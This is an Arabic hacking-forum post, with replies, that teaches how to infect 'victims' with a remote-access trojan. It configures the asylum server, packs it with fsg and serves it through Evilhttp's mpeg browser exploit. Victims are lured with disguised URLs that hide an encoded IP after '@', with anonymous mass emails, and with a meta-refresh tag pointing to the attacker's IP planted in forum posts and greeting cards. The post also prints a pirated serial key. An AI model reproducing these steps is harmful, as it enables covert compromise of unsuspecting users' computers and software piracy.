بسم الله الرحمن الرحيم
اليوم يا جماعة رجعت بعدة طرق للأختراق ولكنها طرق مميزة وان شاء الله راح تعجبكم
في البداية احب اعرفكم بنوعيه هذي الطرق وهي طرق الاختراق عن طريق الثغرات او المتصفح
يعني فقط وصلة ومن موقع مشهور مثل مايكروسوفت او ياهو او اي موقع على حسب اهتمام الضحية
وبعدين شوف شغلك
المهم ما ابي اطول عليكم اترككم مع الشـــــــــــــــــــرح




===========================================

في البداية راح نحتاج لبرنامج الابلود
1- احنا اخترنا asylum وتقدر تحملة من هنا

[فقط الأعضاء المسجلين يمكنهم مشاهدة الروابط. إضغط هنا للتسجيل...]


2- برنامج Evilhttp طبعا البرنامج هذا يحتوي على 5 ثغرات من اهمها ثغرة mpeg

[فقط الأعضاء المسجلين يمكنهم مشاهدة الروابط. إضغط هنا للتسجيل...]


نبــــــــدأ في شــــــــــــرح برنامج asylum


كما في الصورة اول شي افتح برنامج اعداد السيرفر


كما في الصورة اختار مسار الباتش ثم اضغط على Read Settings وبعدين ادخل الباسوورد ورقم الايسيكيو للتبليغ
وبعدين اضغط على كملة Write Settings ثم خروج


كما في الصورة افتح برنامج fsg واضغط البرنامج واعتقد ما يبي لها شرح


كما في الصورة افتح برنامج Evilhttp واضغط على رقم 1 واختار السيرفر



كما في الصورة اختار السيرفر واضغط على كلمة OPEN


كما في الصورة اضغط على رقم 2 واختار الثغرة وافضلها هي mpeg

الحين اترك البرنامج مفتوح لا تسوي له اغلاق
الحين نروح لبرنامج urlencode والبرنامج مرفق معه شرح يعني ما يحتاج شرح


كما في الصورة اكتب الاي بي تبعك وبعدين اظغط على كلمة Encode وراح يتشفر الاي بي تبعك

حلو الحين عندنا الاي بي المشفر لا تتسرع وتعطيه للضحية انتظر شوية
اكتب //:http ثم اي موقع مثلا [فقط الأعضاء المسجلين يمكنهم مشاهدة الروابط. إضغط هنا للتسجيل...] ثم @ ثم الاي المشفر ولا يطلع لك مثل كذا بالضبط
[فقط الأعضاء المسجلين يمكنهم مشاهدة الروابط. إضغط هنا للتسجيل...]

وتقدر تغير الموقع لأي موقع يعجبك
وبعدين اعط الوصلة للضحية وبرنامج Evilhttp يكون مفتوح طبعا اي شخص يضغط على الوصلة راح يوصل لك الاي بي تبعه ويتحمل الباتش في جهازه بدون اذنه


كما في الصورة راح يوصل لك الاي بي لما الضحية يضغط على الوصلة



=========================================================
انتيهنا من الطريقـــــــة الأولى واتمنى انها تعجبكم


تــــــــــــابــــــــــــــــــــــــــــــــــــع

الملفات المرفقة

urlencode.zip (255.1 كيلوبايت, 333 مشاهدات)

 

الطريقة الأولى كانت سهلة بالمرة لكن تحتاج تركيز الطريقة الثانية اسهل واسهل لكن التركيز مهم جدااااا
المطلوب من البرامج هو :-
1- برنامج Evilhttp وسبق وتكلمنا عنه واعتقد ما يحتاج شرح مرة ثانية

2- برنامج Mass-email Express وتقدر تحمله من خلال الرابط التالي
[فقط الأعضاء المسجلين يمكنهم مشاهدة الروابط. إضغط هنا للتسجيل...]

وظيفته ارسال رسائل مجهولة المصدر وكما يدعم لغة هتمل وتقدر تحط اتتاشمنت (ملف مرفق)
لتسجيل البرنامج
Name: Megido Group
SN: 10051-D52DF-B18EC


حلو الحين نبــــــــدأ في الشغل الجامد بعد ما تحمل برنامج Mass-email Express وتنصبه تنصيب عااادي
افتحه وراح يجي لك زي ما في الصورة بالضبط



طبعا تعبي البيانات وتسوي ارفاق ملف اذا حبيت

بعدين نجي وننسخ الكود التالي ونغير المطلوب

الكود:

<meta http-equiv=Refresh content="0; url=http://127.0.0.1/1.jpg">


مثل ما في الصورة تغير الاي بي الموجود إلى الاي بي تبعك



بعدين تنسخه بعد التغيير وتحطه في برنامج Mass-email Express وترسل الرسالة لكن قبل لا ترسل
لازم تكون فاتح برنامج Evilhttp ومحدد الباتش والثغرة وبعدين ارسل الرسالة للضحية

وخليك منتظر واول ما يفتح الضحية الرسالة راح يوصل لك الاي بي تبعه ويتحمل الباتش على جهازه
وبعدين اخترق براحتك


أما الطريقة الثــالثــة تستفيد من الكود هذا بعدة طرق من اهما تشترك في اي موقع مثلا جيران




مثل ما في الصورة الشرح مكتوب وموضح

بعد الكتابة والتعديل تحفظ بصيغة HTML مثل ما في الصورة التالية



طبعا لما تنتهي ترفعه لأي موقع يعجبك وبعدين تعطي الوصلة للضحية وشوف شغلك معاه


طبعا تقدر تستفيد ايضــا من الكود وتزرعه في منتدى يدعم لغة HTML اعتقد فهموتوني يعني
تكتب موضوع وتنسخ الكود في وسط الموضوع واي عضو يدخل الموضوع راح يتحمل الباتش في جهازه بس لازم تكون انت
فاتح برنامج Evilhttp ومحدد الباتش والثغرة




وايضا تقدر تستفيد منه في كروت التهنئة خصوصا الكروت اللي تدعم لغة HTML يعني تختار كرت وتكتب فيه التهنئة وتنسخ الكود وسط الموضوع
وترسل الكرت للضحية وفي نهاية ايميله تكتب confirm.to حتى توصلك الرسالة وتبلغك بأن الضحية فتح الكرت ولا لا وطبعا فيها الاي بي تبع الضحية



انتيهينا من الطريقة الثانية وهي طويلة لكنها ممتعة بجد


==========================================================


وفي الختام يوجد طريقة رابعة وراح تنزل عن قريب بس تحتاج شرح مطول ومفصل وان شاء الله تعجبكم
واتمنى ان يعجبكم الموضوع واي حاجة مو واضحة استفسر عنها وان شاء الله نقدر نجاوب عليها في اقرب وقت ممكن




تحياتي لكم


][ احـســ e7sas ــاس مجــ Majro7 ــروح ][

اقسم بالله العضيم اني كنت ساعرض اول طريقتين وحيات الله استغرببت انك رفعتهن عنجد انك روعه وكمان وفرت علي مجهووووود بالكتابه العربيه لاني بطيء يا اخوي مشكوووووووورررر من اماق قلبي لاني انا لحد اسا عم استعملهن وشكرا.....حابب اايميلك من بعد اذنك ممكن؟ وشكرا اخوك من عرب ال 48 بهاء (الله_اكبر) وما تحرمنا من جديدك......

 

اهلين اخوي alah_akbr مشكور على الكلام العسل اللي قلته عني وبصراااااحة هذاا من عوامل التشجيع اللي تخلي الواحد يتشجع ويتعب من اجل المنمتدى والأ‘ضاء وفي الختام تقبل تحياتي وايميلي موجود من ضمن الشرح على بعض الصور

تحياتي لك



احــــــســـــــــاس مجــــــــــــروح

 

افااااااااااا ياجماعة ما فيه إلا رد واحد لهالدرجة الموضوع ما يستاهل
والله بهالطريقة تثبطون الواحد ولا لازم نسوي النص مخفي عشان الردود

على العموم مو مشكلة




احـــســــــــــاس مجـــــــــروح